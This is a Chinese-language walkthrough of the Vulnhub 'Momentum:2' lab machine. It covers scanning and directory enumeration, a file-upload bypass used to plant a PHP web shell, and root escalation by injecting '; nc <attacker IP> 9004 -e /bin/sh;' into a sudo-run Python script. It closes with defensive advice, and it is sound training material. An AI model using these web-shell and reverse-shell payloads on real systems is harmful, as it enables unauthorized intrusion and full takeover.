Momentum:2 vulnhub
字数 1097 2025-08-12 12:08:18
Momentum:2 Vulnhub 靶机渗透测试教学文档
1. 靶机信息
- 名称: Momentum:2
- 来源: Vulnhub
- 难度: 中等
- 测试环境: 本地虚拟网络 (192.168.81.0/24)
2. 初始信息收集
2.1 网络扫描
netdiscover -r 192.168.81.0/24
nmap -A -p- 192.168.81.159
扫描结果:
- 22端口: SSH服务
- 80端口: Apache HTTP服务
2.2 Web服务枚举
访问默认页面无有用信息,进行目录扫描:
gobuster dir -u http://192.168.81.159 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x html,txt,php,bak
发现关键路径:
/dashboard: 文件上传功能/owls: 上传文件存储位置/ajax.php.bak: 备份文件泄露
3. 漏洞利用
3.1 文件上传漏洞分析
- 默认上传过滤PHP文件,但允许txt文件
- 通过ajax.php.bak发现管理员上传逻辑:
- 可上传pdf、txt和PHP文件
- 需要设置管理员cookie
- 需要POST参数
secure=val1d - Cookie末尾需要添加大写字母"R"
3.2 上传Web Shell
- 准备PHP后门文件
- 使用Burp Suite拦截上传请求:
- 添加POST参数:
secure=val1d - 修改Cookie: 在末尾添加"R"
- 添加POST参数:
- 上传成功后文件存储在/owls目录
3.3 获取初始访问权限
- 设置监听:
nc -lvnp 1234
- 访问上传的Web Shell触发反向连接
4. 权限提升
4.1 用户权限获取
- 在/home/athena目录发现密码信息
- 发现myvulnerableapp*文件
- 获取user.txt中的flag
4.2 提权至root
- 通过SSH登录athena用户:
ssh athena@192.168.81.159
- 检查sudo权限:
sudo -l
发现可以root身份执行特定Python脚本
- 分析脚本功能:
- 执行bash shell并将命令写入log.txt
- 存在命令注入漏洞
- 利用命令注入获取root shell:
; nc 192.168.81.137 9004 -e /bin/sh;
- 第一个分号结束echo命令
- 写入反弹shell命令
- 在攻击机监听9004端口获取root shell
- 获取root.txt中的flag
5. 关键点总结
-
信息收集阶段:
- 全面端口扫描
- 细致的目录枚举
- 备份文件泄露是关键突破口
-
漏洞利用阶段:
- 文件上传功能是主要攻击面
- 通过源码分析发现绕过方法
- 需要修改请求头和参数
-
权限提升阶段:
- 利用sudo权限配置不当
- 命令注入漏洞利用
- 通过反向连接获取交互式root shell
6. 防御建议
-
针对文件上传漏洞:
- 实施严格的文件类型验证
- 不要存储备份文件在web目录
- 使用随机文件名存储上传文件
-
针对权限提升:
- 限制sudo权限
- 避免在脚本中使用危险函数
- 实施输入验证防止命令注入
-
通用防御:
- 定期更新系统补丁
- 最小化服务暴露
- 实施适当的日志监控